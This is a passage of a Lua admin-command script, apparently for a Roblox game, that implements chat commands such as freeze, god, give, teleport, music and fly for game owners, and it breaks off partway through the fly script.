  1044. local plrz = GetPlr(plr, msg:lower():sub(6))
  1045. for i, v in pairs(plrz) do
  1046. coroutine.resume(coroutine.create(function()
  1047. if v and v.Character then
  1048. for a, obj in pairs(v.Character:children()) do
  1049. if obj:IsA("BasePart") then obj.Locked = true elseif obj:IsA("Hat") and obj:findFirstChild("Handle") then obj.Handle.Locked = true end
  1050. end
  1051. end
  1052. end))
  1053. end
  1054. end
  1055.  
  1056. if msg:lower():sub(1,7) == "unlock " then
  1057. local plrz = GetPlr(plr, msg:lower():sub(8))
  1058. for i, v in pairs(plrz) do
  1059. coroutine.resume(coroutine.create(function()
  1060. if v and v.Character then
  1061. for a, obj in pairs(v.Character:children()) do
  1062. if obj:IsA("BasePart") then obj.Locked = false elseif obj:IsA("Hat") and obj:findFirstChild("Handle") then obj.Handle.Locked = false end
  1063. end
  1064. end
  1065. end))
  1066. end
  1067. end
  1068.  
  1069. if msg:lower():sub(1,8) == "explode " then
  1070. local plrz = GetPlr(plr, msg:lower():sub(9))
  1071. for i, v in pairs(plrz) do
  1072. coroutine.resume(coroutine.create(function()
  1073. if v and v.Character and v.Character:findFirstChild("Torso") then
  1074. local ex = Instance.new("Explosion", game.Workspace) ex.Position = v.Character.Torso.Position
  1075. end
  1076. end))
  1077. end
  1078. end
  1079.  
  1080. if msg:lower():sub(1,4) == "age " then
  1081. local plrz = GetPlr(plr, msg:lower():sub(5))
  1082. for i, v in pairs(plrz) do
  1083. coroutine.resume(coroutine.create(function()
  1084. if v then Message(v.Name .. "'s age", tostring(v.AccountAge), false, {plr}) end
  1085. end))
  1086. end
  1087. end
  1088.  
  1089. if msg:lower():sub(1,5) == "fire " then
  1090. local plrz = GetPlr(plr, msg:lower():sub(6))
  1091. for i, v in pairs(plrz) do
  1092. coroutine.resume(coroutine.create(function()
  1093. if v and v.Character and v.Character:findFirstChild("Torso") then
  1094. local cl = Instance.new("Fire", v.Character.Torso) table.insert(objects, cl)
  1095. end
  1096. end))
  1097. end
  1098. end
  1099.  
  1100. if msg:lower():sub(1,7) == "unfire " then
  1101. local plrz = GetPlr(plr, msg:lower():sub(8))
  1102. for i, v in pairs(plrz) do
  1103. coroutine.resume(coroutine.create(function()
  1104. if v and v.Character and v.Character:findFirstChild("Torso") then
  1105. for z, cl in pairs(v.Character.Torso:children()) do if cl:IsA("Fire") then cl:Destroy() end end
  1106. end
  1107. end))
  1108. end
  1109. end
  1110.  
  1111. if msg:lower():sub(1,6) == "smoke " then
  1112. local plrz = GetPlr(plr, msg:lower():sub(7))
  1113. for i, v in pairs(plrz) do
  1114. coroutine.resume(coroutine.create(function()
  1115. if v and v.Character and v.Character:findFirstChild("Torso") then
  1116. local cl = Instance.new("Smoke", v.Character.Torso) table.insert(objects, cl)
  1117. end
  1118. end))
  1119. end
  1120. end
  1121.  
  1122. if msg:lower():sub(1,8) == "unsmoke " then
  1123. local plrz = GetPlr(plr, msg:lower():sub(9))
  1124. for i, v in pairs(plrz) do
  1125. coroutine.resume(coroutine.create(function()
  1126. if v and v.Character and v.Character:findFirstChild("Torso") then
  1127. for z, cl in pairs(v.Character.Torso:children()) do if cl:IsA("Smoke") then cl:Destroy() end end
  1128. end
  1129. end))
  1130. end
  1131. end
  1132.  
  1133. if msg:lower():sub(1,9) == "sparkles " then
  1134. local plrz = GetPlr(plr, msg:lower():sub(10))
  1135. for i, v in pairs(plrz) do
  1136. coroutine.resume(coroutine.create(function()
  1137. if v and v.Character and v.Character:findFirstChild("Torso") then
  1138. local cl = Instance.new("Sparkles", v.Character.Torso) table.insert(objects, cl)
  1139. end
  1140. end))
  1141. end
  1142. end
  1143.  
  1144. if msg:lower():sub(1,11) == "unsparkles " then
  1145. local plrz = GetPlr(plr, msg:lower():sub(12))
  1146. for i, v in pairs(plrz) do
  1147. coroutine.resume(coroutine.create(function()
  1148. if v and v.Character and v.Character:findFirstChild("Torso") then
  1149. for z, cl in pairs(v.Character.Torso:children()) do if cl:IsA("Sparkles") then cl:Destroy() end end
  1150. end
  1151. end))
  1152. end
  1153. end
  1154.  
  1155. if msg:lower():sub(1,3) == "ff " then
  1156. local plrz = GetPlr(plr, msg:lower():sub(4))
  1157. for i, v in pairs(plrz) do
  1158. coroutine.resume(coroutine.create(function()
  1159. if v and v.Character then Instance.new("ForceField", v.Character) end
  1160. end))
  1161. end
  1162. end
  1163.  
  1164. if msg:lower():sub(1,5) == "unff " then
  1165. local plrz = GetPlr(plr, msg:lower():sub(6))
  1166. for i, v in pairs(plrz) do
  1167. coroutine.resume(coroutine.create(function()
  1168. if v and v.Character then
  1169. for z, cl in pairs(v.Character:children()) do if cl:IsA("ForceField") then cl:Destroy() end end
  1170. end
  1171. end))
  1172. end
  1173. end
  1174.  
  1175. if msg:lower():sub(1,7) == "punish " then
  1176. local plrz = GetPlr(plr, msg:lower():sub(8))
  1177. for i, v in pairs(plrz) do
  1178. coroutine.resume(coroutine.create(function()
  1179. if v and v.Character then
  1180. v.Character.Parent = game:service("Lighting")
  1181. end
  1182. end))
  1183. end
  1184. end
  1185.  
  1186. if msg:lower():sub(1,9) == "unpunish " then
  1187. local plrz = GetPlr(plr, msg:lower():sub(10))
  1188. for i, v in pairs(plrz) do
  1189. coroutine.resume(coroutine.create(function()
  1190. if v and v.Character then
  1191. v.Character.Parent = game:service("Workspace")
  1192. v.Character:MakeJoints()
  1193. end
  1194. end))
  1195. end
  1196. end
  1197.  
  1198. if msg:lower():sub(1,7) == "freeze " then
  1199. local plrz = GetPlr(plr, msg:lower():sub(8))
  1200. for i, v in pairs(plrz) do
  1201. coroutine.resume(coroutine.create(function()
  1202. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  1203. for a, obj in pairs(v.Character:children()) do
  1204. if obj:IsA("BasePart") then obj.Anchored = true end v.Character.Humanoid.WalkSpeed = 0
  1205. end
  1206. end
  1207. end))
  1208. end
  1209. end
  1210.  
  1211. if msg:lower():sub(1,5) == "thaw " then
  1212. local plrz = GetPlr(plr, msg:lower():sub(6))
  1213. for i, v in pairs(plrz) do
  1214. coroutine.resume(coroutine.create(function()
  1215. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  1216. for a, obj in pairs(v.Character:children()) do
  1217. if obj:IsA("BasePart") then obj.Anchored = false end v.Character.Humanoid.WalkSpeed = 16
  1218. end
  1219. end
  1220. end))
  1221. end
  1222. end
  1223.  
  1224. if msg:lower():sub(1,5) == "heal " then
  1225. local plrz = GetPlr(plr, msg:lower():sub(6))
  1226. for i, v in pairs(plrz) do
  1227. coroutine.resume(coroutine.create(function()
  1228. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  1229. v.Character.Humanoid.Health = v.Character.Humanoid.MaxHealth
  1230. end
  1231. end))
  1232. end
  1233. end
  1234.  
  1235. if msg:lower():sub(1,4) == "god " then
  1236. local plrz = GetPlr(plr, msg:lower():sub(5))
  1237. for i, v in pairs(plrz) do
  1238. coroutine.resume(coroutine.create(function()
  1239. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  1240. v.Character.Humanoid.MaxHealth = math.huge
  1241. v.Character.Humanoid.Health = 9e9
  1242. end
  1243. end))
  1244. end
  1245. end
  1246.  
  1247. if msg:lower():sub(1,6) == "ungod " then
  1248. local plrz = GetPlr(plr, msg:lower():sub(7))
  1249. for i, v in pairs(plrz) do
  1250. coroutine.resume(coroutine.create(function()
  1251. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  1252. v.Character.Humanoid.MaxHealth = 100
  1253. v.Character.Humanoid.Health = v.Character.Humanoid.MaxHealth
  1254. end
  1255. end))
  1256. end
  1257. end
  1258.  
  1259. if msg:lower():sub(1,8) == "ambient " then
  1260. local chk1 = msg:lower():sub(9):find(" ") + 8
  1261. local chk2 = msg:sub(chk1+1):find(" ") + chk1
  1262. game.Lighting.Ambient = Color3.new(msg:sub(9,chk1-1),msg:sub(chk1+1,chk2-1),msg:sub(chk2+1))
  1263. end
  1264.  
  1265. if msg:lower():sub(1,11) == "brightness " then
  1266. game.Lighting.Brightness = msg:sub(12)
  1267. end
  1268.  
  1269. if msg:lower():sub(1,5) == "time " then
  1270. game.Lighting.TimeOfDay = msg:sub(6)
  1271. end
  1272.  
  1273. if msg:lower():sub(1,9) == "fogcolor " then
  1274. local chk1 = msg:lower():sub(10):find(" ") + 9
  1275. local chk2 = msg:sub(chk1+1):find(" ") + chk1
  1276. game.Lighting.FogColor = Color3.new(msg:sub(10,chk1-1),msg:sub(chk1+1,chk2-1),msg:sub(chk2+1))
  1277. end
  1278.  
  1279. if msg:lower():sub(1,7) == "fogend " then
  1280. game.Lighting.FogEnd = msg:sub(8)
  1281. end
  1282.  
  1283. if msg:lower():sub(1,9) == "fogstart " then
  1284. game.Lighting.FogStart = msg:sub(10)
  1285. end
  1286.  
  1287. if msg:lower():sub(1,7) == "btools " then
  1288. local plrz = GetPlr(plr, msg:lower():sub(8))
  1289. for i, v in pairs(plrz) do
  1290. coroutine.resume(coroutine.create(function()
  1291. if v and v:findFirstChild("Backpack") then
  1292. local t1 = Instance.new("HopperBin", v.Backpack) t1.Name = "Move" t1.BinType = "GameTool"
  1293. local t2 = Instance.new("HopperBin", v.Backpack) t2.Name = "Clone" t2.BinType = "Clone"
  1294. local t3 = Instance.new("HopperBin", v.Backpack) t3.Name = "Delete" t3.BinType = "Hammer"
  1295. local t4= Instance.new("HopperBin", v.Backpack) t4.Name = "Resize"
  1296. local cl4 = script.LocalScriptBase:Clone() cl4.Parent = t4 cl4.Code.Value = [[
  1297. repeat wait() until owner and owner.Character and owner:findFirstChild("PlayerGui")
  1298. local sb
  1299. local hs
  1300. local pdist
  1301.  
  1302. script.Parent.Selected:connect(function(mouse)
  1303. if not mouse then return end
  1304. sb = Instance.new("SelectionBox", owner.PlayerGui) sb.Color = BrickColor.new("Bright blue") sb.Adornee = nil
  1305. hs = Instance.new("Handles", owner.PlayerGui) hs.Color = BrickColor.new("Bright blue") hs.Adornee = nil
  1306. mouse.Button1Down:connect(function() if not mouse.Target or mouse.Target.Locked then sb.Adornee = nil hs.Adornee = nil else sb.Adornee = mouse.Target hs.Adornee = mouse.Target hs.Faces = mouse.Target.ResizeableFaces end end)
  1307. hs.MouseDrag:connect(function(old,dist) if hs.Adornee and math.abs(dist-pdist) >= hs.Adornee.ResizeIncrement then if hs.Adornee:Resize(old, math.floor((dist-pdist)/ hs.Adornee.ResizeIncrement + .5) * hs.Adornee.ResizeIncrement) then pdist = dist end end end)
  1308. hs.MouseButton1Down:connect(function() pdist = 0 end)
  1309. end)
  1310.  
  1311. script.Parent.Deselected:connect(function() sb:Destroy() hs:Destroy() end)]] cl4.Disabled = false
  1312. end
  1313. end))
  1314. end
  1315. end
  1316.  
  1317. if msg:lower():sub(1,12) == "startergive " then
  1318. local chk1 = msg:lower():sub(13):find(" ") + 12
  1319. local plrz = GetPlr(plr, msg:lower():sub(13,chk1-1))
  1320. for i, v in pairs(plrz) do
  1321. coroutine.resume(coroutine.create(function()
  1322. if v and v:findFirstChild("StarterGear") and game:findFirstChild("Lighting") then
  1323. for a, tool in pairs(game.Lighting:children()) do
  1324. if tool:IsA("Tool") or tool:IsA("HopperBin") then
  1325. if msg:lower():sub(chk1+1) == "all" or tool.Name:lower():find(msg:lower():sub(chk1+1)) == 1 then tool:Clone().Parent = v.StarterGear end
  1326. end
  1327. end
  1328. end
  1329. end))
  1330. end
  1331. end
  1332.  
  1333. if msg:lower():sub(1,5) == "give " then
  1334. local chk1 = msg:lower():sub(6):find(" ") + 5
  1335. local plrz = GetPlr(plr, msg:lower():sub(6,chk1-1))
  1336. for i, v in pairs(plrz) do
  1337. coroutine.resume(coroutine.create(function()
  1338. if v and v:findFirstChild("Backpack") and game:findFirstChild("Lighting") then
  1339. for a, tool in pairs(game.Lighting:children()) do
  1340. if tool:IsA("Tool") or tool:IsA("HopperBin") then
  1341. if msg:lower():sub(chk1+1) == "all" or tool.Name:lower():find(msg:lower():sub(chk1+1)) == 1 then tool:Clone().Parent = v.Backpack end
  1342. end
  1343. end
  1344. end
  1345. end))
  1346. end
  1347. end
  1348.  
  1349. if msg:lower():sub(1,12) == "removetools " then
  1350. local plrz = GetPlr(plr, msg:lower():sub(13))
  1351. for i, v in pairs(plrz) do
  1352. coroutine.resume(coroutine.create(function()
  1353. if v and v.Character and v:findFirstChild("Backpack") then
  1354. for a, tool in pairs(v.Character:children()) do if tool:IsA("Tool") or tool:IsA("HopperBin") then tool:Destroy() end end
  1355. for a, tool in pairs(v.Backpack:children()) do if tool:IsA("Tool") or tool:IsA("HopperBin") then tool:Destroy() end end
  1356. end
  1357. end))
  1358. end
  1359. end
  1360.  
  1361. if msg:lower():sub(1,5) == "rank " then
  1362. local chk1 = msg:lower():sub(6):find(" ") + 5
  1363. local plrz = GetPlr(plr, msg:lower():sub(6,chk1-1))
  1364. for i, v in pairs(plrz) do
  1365. coroutine.resume(coroutine.create(function()
  1366. if v and v:IsInGroup(msg:sub(chk1+1)) then
  1367. Hint("[" .. v:GetRankInGroup(msg:sub(chk1+1)) .. "] " .. v:GetRoleInGroup(msg:sub(chk1+1)), {plr})
  1368. elseif v and not v:IsInGroup(msg:sub(chk1+1))then
  1369. Hint(v.Name .. " is not in the group " .. msg:sub(chk1+1), {plr})
  1370. end
  1371. end))
  1372. end
  1373. end
  1374.  
  1375. if msg:lower():sub(1,7) == "damage " then
  1376. local chk1 = msg:lower():sub(8):find(" ") + 7
  1377. local plrz = GetPlr(plr, msg:lower():sub(8,chk1-1))
  1378. for i, v in pairs(plrz) do
  1379. coroutine.resume(coroutine.create(function()
  1380. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  1381. v.Character.Humanoid:TakeDamage(msg:sub(chk1+1))
  1382. end
  1383. end))
  1384. end
  1385. end
  1386.  
  1387. if msg:lower():sub(1,5) == "grav " then
  1388. local plrz = GetPlr(plr, msg:lower():sub(6))
  1389. for i, v in pairs(plrz) do
  1390. coroutine.resume(coroutine.create(function()
  1391. if v and v.Character and v.Character:findFirstChild("Torso") then
  1392. for a, frc in pairs(v.Character.Torso:children()) do if frc.Name == "BFRC" then frc:Destroy() end end
  1393. end
  1394. end))
  1395. end
  1396. end
  1397.  
  1398. if msg:lower():sub(1,8) == "setgrav " then
  1399. local chk1 = msg:lower():sub(9):find(" ") + 8
  1400. local plrz = GetPlr(plr, msg:lower():sub(9,chk1-1))
  1401. for i, v in pairs(plrz) do
  1402. coroutine.resume(coroutine.create(function()
  1403. if v and v.Character and v.Character:findFirstChild("Torso") then
  1404. for a, frc in pairs(v.Character.Torso:children()) do if frc.Name == "BFRC" then frc:Destroy() end end
  1405. local frc = Instance.new("BodyForce", v.Character.Torso) frc.Name = "BFRC" frc.force = Vector3.new(0,0,0)
  1406. for a, prt in pairs(v.Character:children()) do if prt:IsA("BasePart") then frc.force = frc.force - Vector3.new(0,prt:GetMass()*msg:sub(chk1+1),0) elseif prt:IsA("Hat") then frc.force = frc.force - Vector3.new(0,prt.Handle:GetMass()*msg:sub(chk1+1),0) end end
  1407. end
  1408. end))
  1409. end
  1410. end
  1411.  
  1412. if msg:lower():sub(1,7) == "nograv " then
  1413. local plrz = GetPlr(plr, msg:lower():sub(8))
  1414. for i, v in pairs(plrz) do
  1415. coroutine.resume(coroutine.create(function()
  1416. if v and v.Character and v.Character:findFirstChild("Torso") then
  1417. for a, frc in pairs(v.Character.Torso:children()) do if frc.Name == "BFRC" then frc:Destroy() end end
  1418. local frc = Instance.new("BodyForce", v.Character.Torso) frc.Name = "BFRC" frc.force = Vector3.new(0,0,0)
  1419. for a, prt in pairs(v.Character:children()) do if prt:IsA("BasePart") then frc.force = frc.force + Vector3.new(0,prt:GetMass()*196.25,0) elseif prt:IsA("Hat") then frc.force = frc.force + Vector3.new(0,prt.Handle:GetMass()*196.25,0) end end
  1420. end
  1421. end))
  1422. end
  1423. end
  1424.  
  1425. if msg:lower():sub(1,7) == "health " then
  1426. local chk1 = msg:lower():sub(8):find(" ") + 7
  1427. local plrz = GetPlr(plr, msg:lower():sub(8,chk1-1))
  1428. for i, v in pairs(plrz) do
  1429. coroutine.resume(coroutine.create(function()
  1430. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  1431. v.Character.Humanoid.MaxHealth = msg:sub(chk1+1)
  1432. v.Character.Humanoid.Health = v.Character.Humanoid.MaxHealth
  1433. end
  1434. end))
  1435. end
  1436. end
  1437.  
  1438. if msg:lower():sub(1,6) == "speed " then
  1439. local chk1 = msg:lower():sub(7):find(" ") + 6
  1440. local plrz = GetPlr(plr, msg:lower():sub(7,chk1-1))
  1441. for i, v in pairs(plrz) do
  1442. coroutine.resume(coroutine.create(function()
  1443. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  1444. v.Character.Humanoid.WalkSpeed = msg:sub(chk1+1)
  1445. end
  1446. end))
  1447. end
  1448. end
  1449.  
  1450. if msg:lower():sub(1,5) == "team " then
  1451. local chk1 = msg:lower():sub(6):find(" ") + 5
  1452. local plrz = GetPlr(plr, msg:lower():sub(6,chk1-1))
  1453. for i, v in pairs(plrz) do
  1454. coroutine.resume(coroutine.create(function()
  1455. if v and game:findFirstChild("Teams") then
  1456. for a, tm in pairs(game.Teams:children()) do
  1457. if tm.Name:lower():find(msg:lower():sub(chk1+1)) == 1 then v.TeamColor = tm.TeamColor end
  1458. end
  1459. end
  1460. end))
  1461. end
  1462. end
  1463.  
  1464. if msg:lower():sub(1,6) == "place " then
  1465. local chk1 = msg:lower():sub(7):find(" ") + 6
  1466. local plrz = GetPlr(plr, msg:lower():sub(7,chk1-1))
  1467. for i, v in pairs(plrz) do
  1468. coroutine.resume(coroutine.create(function()
  1469. if v and v:findFirstChild("PlayerGui") then
  1470. local cl = script.LocalScriptBase:Clone() cl.Code.Value = [[game:service("TeleportService"):Teleport(]] .. msg:sub(chk1+1) .. ")" cl.Parent = v.PlayerGui cl.Disabled = false
  1471. end
  1472. end))
  1473. end
  1474. end
  1475.  
  1476. if msg:lower():sub(1,3) == "tp " then
  1477. local chk1 = msg:lower():sub(4):find(" ") + 3
  1478. local plrz = GetPlr(plr, msg:lower():sub(4,chk1-1))
  1479. local plrz2 = GetPlr(plr, msg:lower():sub(chk1+1))
  1480. for i, v in pairs(plrz) do
  1481. coroutine.resume(coroutine.create(function()
  1482. for i2, v2 in pairs(plrz2) do
  1483. if v and v2 and v.Character and v2.Character and v.Character:findFirstChild("Torso") and v2.Character:findFirstChild("Torso") then
  1484. v.Character.Torso.CFrame = v2.Character.Torso.CFrame + Vector3.new(math.random(-1,1),0,math.random(-1,1))
  1485. end
  1486. end
  1487. end))
  1488. end
  1489. end
  1490.  
  1491. if msg:lower():sub(1,7) == "change " then
  1492. local chk1 = msg:lower():sub(8):find(" ") + 7
  1493. local chk2 = msg:sub(chk1+1):find(" ") + chk1
  1494. local plrz = GetPlr(plr, msg:lower():sub(8,chk1-1))
  1495. for i, v in pairs(plrz) do
  1496. coroutine.resume(coroutine.create(function()
  1497. if v and v:findFirstChild("leaderstats") then
  1498. for a, st in pairs(v.leaderstats:children()) do
  1499. if st.Name:lower():find(msg:sub(chk1+1,chk2-1)) == 1 then st.Value = msg:sub(chk2+1) end
  1500. end
  1501. end
  1502. end))
  1503. end
  1504. end
  1505.  
  1506. if msg:lower():sub(1,6) == "shirt " then
  1507. local chk1 = msg:lower():sub(7):find(" ") + 6
  1508. local plrz = GetPlr(plr, msg:lower():sub(7,chk1-1))
  1509. for i, v in pairs(plrz) do
  1510. coroutine.resume(coroutine.create(function()
  1511. if v and v.Character then
  1512. for i,v in pairs(v.Character:children()) do
  1513. if v:IsA("Shirt") then local cl = v:Clone() cl.Parent = v.Parent cl.ShirtTemplate = "http://www.roblox.com/asset/?id=" .. chk1 v:Destroy() end
  1514. end
  1515. end
  1516. end))
  1517. end
  1518. end
  1519.  
  1520. if msg:lower():sub(1,6) == "pants " then
  1521. local chk1 = msg:lower():sub(7):find(" ") + 6
  1522. local plrz = GetPlr(plr, msg:lower():sub(7,chk1-1))
  1523. for i, v in pairs(plrz) do
  1524. coroutine.resume(coroutine.create(function()
  1525. if v and v.Character then
  1526. for i,v in pairs(v.Character:children()) do
  1527. if v:IsA("Pants") then local cl = v:Clone() cl.Parent = v.Parent cl.PantsTemplate = "http://www.roblox.com/asset/?id=" .. chk1 v:Destroy() end
  1528. end
  1529. end
  1530. end))
  1531. end
  1532. end
  1533.  
  1534. if msg:lower():sub(1,5) == "face " then
  1535. local chk1 = msg:lower():sub(6):find(" ") + 5
  1536. local plrz = GetPlr(plr, msg:lower():sub(6,chk1-1))
  1537. for i, v in pairs(plrz) do
  1538. coroutine.resume(coroutine.create(function()
  1539. if v and v.Character and v.Character:findFirstChild("Head") and v.Character.Head:findFirstChild("face") then
  1540. v.Character.Head:findFirstChild("face").Texture = "http://www.roblox.com/asset/?id=" .. chk1
  1541. end
  1542. end))
  1543. end
  1544. end
  1545.  
  1546. ---------------------
  1547. -- FunCommands --
  1548. ---------------------
  1549. if FunCommands or plr.userId == game.CreatorId or ChkOwner(plr.Name:lower()) then
  1550.  
  1551. if msg:lower():sub(1,8) == "swagify " then
  1552. local plrz = GetPlr(plr, msg:lower():sub(9))
  1553. for i, v in pairs(plrz) do
  1554. coroutine.resume(coroutine.create(function()
  1555. if v and v.Character then
  1556. for i,v in pairs(v.Character:children()) do
  1557. if v.Name == "Shirt" then local cl = v:Clone() cl.Parent = v.Parent cl.ShirtTemplate = "http://www.roblox.com/asset/?id=109163376" v:Destroy() end
  1558. if v.Name == "Pants" then local cl = v:Clone() cl.Parent = v.Parent cl.PantsTemplate = "http://www.roblox.com/asset/?id=109163376" v:Destroy() end
  1559. end
  1560. for a,cp in pairs(v.Character:children()) do if cp.Name == "EpicCape" then cp:Destroy() end end
  1561. local cl = script.LocalScriptBase:Clone() cl.Name = "CapeScript" cl.Code.Value = [[local plr = owner
  1562. repeat wait() until plr and plr.Character and plr.Character:findFirstChild("Torso")
  1563. local torso = plr.Character.Torso
  1564. local p = Instance.new("Part", torso.Parent) p.Name = "EpicCape" p.Anchored = false
  1565. p.CanCollide = false p.TopSurface = 0 p.BottomSurface = 0 p.BrickColor = BrickColor.new("Pink") local dec = Instance.new("Decal", p) dec.Face = 2 dec.Texture = "http://www.roblox.com/asset/?id=109301474" p.formFactor = "Custom"
  1566. p.Size = Vector3.new(.2,.2,.2)
  1567. local msh = Instance.new("BlockMesh", p) msh.Scale = Vector3.new(9,17.5,.5)
  1568. local motor1 = Instance.new("Motor", p)
  1569. motor1.Part0 = p
  1570. motor1.Part1 = torso
  1571. motor1.MaxVelocity = .01
  1572. motor1.C0 = CFrame.new(0,1.75,0)*CFrame.Angles(0,math.rad(90),0)
  1573. motor1.C1 = CFrame.new(0,1,.45)*CFrame.Angles(0,math.rad(90),0)
  1574. local wave = false
  1575. repeat wait(1/44)
  1576. local ang = 0.1
  1577. local oldmag = torso.Velocity.magnitude
  1578. local mv = .002
  1579. if wave then ang = ang + ((torso.Velocity.magnitude/10)*.05)+.05 wave = false else wave = true end
  1580. ang = ang + math.min(torso.Velocity.magnitude/11, .5)
  1581. motor1.MaxVelocity = math.min((torso.Velocity.magnitude/111), .04) + mv
  1582. motor1.DesiredAngle = -ang
  1583. if motor1.CurrentAngle < -.2 and motor1.DesiredAngle > -.2 then motor1.MaxVelocity = .04 end
  1584. repeat wait() until motor1.CurrentAngle == motor1.DesiredAngle or math.abs(torso.Velocity.magnitude - oldmag) >= (torso.Velocity.magnitude/10) + 1
  1585. if torso.Velocity.magnitude < .1 then wait(.1) end
  1586. until not p or p.Parent ~= torso.Parent
  1587. script:Destroy()
  1588. ]] cl.Parent = v.PlayerGui cl.Disabled = false
  1589. end
  1590. end))
  1591. end
  1592. end
  1593.  
  1594. if msg:lower():sub(1,6) == "music " then
  1595. for i, v in pairs(game.Workspace:children()) do if v:IsA("Sound") then v:Destroy() end end
  1596. local id = msg:sub(7)
  1597. local pitch = 1
  1598. if tostring(id):lower():find("caramell") then id = 2303479 end
  1599. if tostring(id):find("epic") then id = 27697743 pitch = 2.5 end
  1600. if tostring(id):find("rick") then id = 2027611 end
  1601. if tostring(id):find("halo") then id = 1034065 end
  1602. if tostring(id):find("pokemon") then id = 1372261 end
  1603. if tostring(id):find("cursed") then id = 1372257 end
  1604. if tostring(id):find("extreme") then id = 11420933 end
  1605. if tostring(id):find("awaken") then id = 27697277 end
  1606. if tostring(id):find("alone") then id = 27697392 end
  1607. if tostring(id):find("mario") then id = 1280470 end
  1608. if tostring(id):find("choir") then id = 1372258 end
  1609. if tostring(id):find("chrono") then id = 1280463 end
  1610. if tostring(id):find("dotr") then id = 11420922 end
  1611. if tostring(id):find("entertain") then id = 27697267 end
  1612. if tostring(id):find("fantasy") then id = 1280473 end
  1613. if tostring(id):find("final") then id = 1280414 end
  1614. if tostring(id):find("emblem") then id = 1372259 end
  1615. if tostring(id):find("flight") then id = 27697719 end
  1616. if tostring(id):find("banjo") then id = 27697298 end
  1617. if tostring(id):find("gothic") then id = 27697743 end
  1618. if tostring(id):find("hiphop") then id = 27697735 end
  1619. if tostring(id):find("intro") then id = 27697707 end
  1620. if tostring(id):find("mule") then id = 1077604 end
  1621. if tostring(id):find("film") then id = 27697713 end
  1622. if tostring(id):find("nezz") then id = 8610025 end
  1623. if tostring(id):find("angel") then id = 1372260 end
  1624. if tostring(id):find("resist") then id = 27697234 end
  1625. if tostring(id):find("schala") then id = 5985787 end
  1626. if tostring(id):find("organ") then id = 11231513 end
  1627. if tostring(id):find("tunnel") then id = 9650822 end
  1628. if tostring(id):find("spanish") then id = 5982975 end
  1629. if tostring(id):find("venom") then id = 1372262 end
  1630. if tostring(id):find("wind") then id = 1015394 end
  1631. if tostring(id):find("guitar") then id = 5986151 end
  1632. local s = Instance.new("Sound", game.Workspace) s.SoundId = "http://www.roblox.com/asset/?id=" .. id s.Volume = 1 s.Pitch = pitch s.Looped = true s.archivable = false repeat s:Play() wait(2.5) s:Stop() wait(.5) s:Play() until s.IsPlaying
  1633. end
  1634.  
  1635. if msg:lower() == "stopmusic" then
  1636. for i, v in pairs(game.Workspace:children()) do if v:IsA("Sound") then v:Destroy() end end
  1637. end
  1638.  
  1639. if msg:lower() == "musiclist" then
  1640. if plr.PlayerGui:findFirstChild("MUSICGUI") then return end
  1641. local scr, cmf, ent, num = ScrollGui() scr.Name = "MUSICGUI" scr.Parent = plr.PlayerGui
  1642. local list = {"caramell","epic","rick","halo","pokemon","cursed","extreme","awaken","alone","mario","choir","chrono","dotr","entertain","fantasy","final","emblem","flight","banjo","gothic","hiphop","intro","mule","film","nezz","angel","resist","schala","organ","tunnel","spanish","venom","wind","guitar"}
  1643. for i, v in pairs(list) do local cl = ent:Clone() cl.Parent = cmf cl.Text = v cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end
  1644. end
  1645.  
  1646. if msg:lower():sub(1,4) == "fly " then
  1647. local plrz = GetPlr(plr, msg:lower():sub(5))
  1648. for i, v in pairs(plrz) do
  1649. coroutine.resume(coroutine.create(function()
  1650. if v and v:findFirstChild("PlayerGui") then
  1651. local cl = script.LocalScriptBase:Clone() cl.Name = "FlyScript" cl.Code.Value = [[repeat wait() until owner and game.Players.owner.Character and owner.Character:findFirstChild("Torso") and game.Players.owner.Character:findFirstChild("Humanoid")
  1652. repeat wait() until mouse
  1653. local plr = owner
  1654. local torso = plr.Character.Torso
  1655. local flying = true
  1656. local deb = true
  1657. local ctrl = {f = 0, b = 0, l = 0, r = 0}
  1658. local lastctrl = {f = 0, b = 0, l = 0, r = 0}
  1659. local maxspeed = 50
  1660. local speed = 0
  1661. function Fly()
  1662. local bg = Instance.new("BodyGyro", torso)
  1663. bg.P = 9e4
  1664. bg.maxTorque = Vector3.new(9e9, 9e9, 9e9)
  1665. bg.cframe = torso.CFrame
  1666. local bv = Instance.new("BodyVelocity", torso)
  1667. bv.velocity = Vector3.new(0,0.1,0)
  1668. bv.maxForce = Vector3.new(9e9, 9e9, 9e9)
  1669. repeat wait()
  1670. plr.Character.Humanoid.PlatformStand = true
  1671. if ctrl.l + ctrl.r ~= 0 or ctrl.f + ctrl.b ~= 0 then
  1672. speed = speed+.5+(speed/maxspeed)
  1673. if speed > maxspeed then
  1674. speed = maxspeed
  1675. end
  1676. elseif not (ctrl.l + ctrl.r ~= 0 or ctrl.f + ctrl.b ~= 0) and speed ~= 0 then
  1677. speed = speed-1
  1678. if speed < 0 then
  1679. speed = 0
  1680. end
  1681. end
  1682. if (ctrl.l + ctrl.r) ~= 0 or (ctrl.f + ctrl.b) ~= 0 then
  1683. bv.velocity = ((game.Workspace.CurrentCamera.CoordinateFrame.lookVector * (ctrl.f+ctrl.b)) + ((game.Workspace.CurrentCamera.CoordinateFrame * CFrame.new(ctrl.l+ctrl.r,(ctrl.f+ctrl.b)*.2,0).p) - game.Workspace.CurrentCamera.CoordinateFrame.p))*speed
  1684. lastctrl = {f = ctrl.f, b = ctrl.b, l = ctrl.l, r = ctrl.r}
  1685. elseif (ctrl.l + ctrl.r) == 0 and (ctrl.f + ctrl.b) == 0 and speed ~= 0 then
  1686. bv.velocity = ((game.Workspace.CurrentCamera.CoordinateFrame.lookVector * (lastctrl.f+lastctrl.b)) + ((game.Workspace.CurrentCamera.CoordinateFrame * CFrame.new(lastctrl.l+lastctrl.r,(lastctrl.f+lastctrl.b)*.2,0).p) - game.Workspace.CurrentCamera.CoordinateFrame.p))*speed
  1687. else
  1688. bv.velocity = Vector3.new(0,0.1,0)
  1689. end
  1690. bg.cframe = game.Workspace.CurrentCamera.CoordinateFrame * CFrame.Angles(-math.rad((ctrl.f+ctrl.b)*50*speed/maxspeed),0,0)
  1691. until not flying
  1692. ctrl = {f = 0, b = 0, l = 0, r = 0}
